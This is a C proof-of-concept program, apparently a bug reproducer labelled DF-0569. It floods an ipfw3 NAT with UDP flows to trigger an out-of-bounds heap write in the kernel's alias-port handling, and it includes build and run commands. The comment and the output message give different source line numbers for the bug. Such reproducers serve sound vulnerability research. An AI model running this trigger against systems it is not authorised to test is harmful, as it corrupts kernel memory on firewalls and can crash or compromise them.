/*
 * DF-0569 — NAT alias_port OOB write trigger (UDP variant).
 *
 * Drives many short outbound UDP "connections" through the ipfw3 NAT to
 * exercise pick_alias_port (ip_fw3_nat.c:436).  Each new UDP flow creates
 * a NAT state and stores the (byte-swapped) alias_port into udp_in[]
 * without ntohs — an OOB heap write that fires ~1.56% of the time.
 *
 * Using UDP avoids breaking SSH (which is TCP) when a broad NAT rule
 * is installed.
 *
 * Build:  cc -O2 -o nat_oob_trigger nat_oob_trigger.c
 * Run:    ./nat_oob_trigger <count> <dst_ip>
 */
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

int main(int argc, char *argv[])
{
    int count = (argc > 1) ? atoi(argv[1]) : 3000;
    const char *dst_ip = (argc > 2) ? argv[2] : "10.0.2.2";
    struct sockaddr_in dst;
    int i, sent = 0;
    char buf[1] = {0x42};

    signal(SIGPIPE, SIG_IGN);
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    inet_aton(dst_ip, &dst.sin_addr);

    fprintf(stderr, "DF-0569 UDP: driving %d outbound UDP flows to %s "
                    "(expect ~%.0f OOB writes at 1.56%%)\n",
            count, dst_ip, count * 0.0156);

    for (i = 0; i < count; i++) {
        int fd = socket(AF_INET, SOCK_DGRAM, 0);
        if (fd < 0) {
            if (errno == EMFILE || errno == ENFILE) {
                usleep(5000);
                continue;
            }
            perror("socket");
            break;
        }
        /* vary dst port so each flow gets a unique 4-tuple */
        dst.sin_port = htons(1 + (i % 60000));
        int ret = sendto(fd, buf, 1, 0,
                         (struct sockaddr *)&dst, sizeof(dst));
        if (ret > 0) sent++;
        close(fd);

        if ((i + 1) % 500 == 0)
            fprintf(stderr, "  %d/%d flows sent (%d ok)\n", i + 1, count, sent);
    }

    printf("DF-0569: completed %d UDP flow attempts (%d sent)\n", i, sent);
    printf("Each new flow called pick_alias_port; ~%.0f should have "
           "triggered the OOB write at ip_fw3_nat.c:425.\n", i * 0.0156);
    return 0;
}
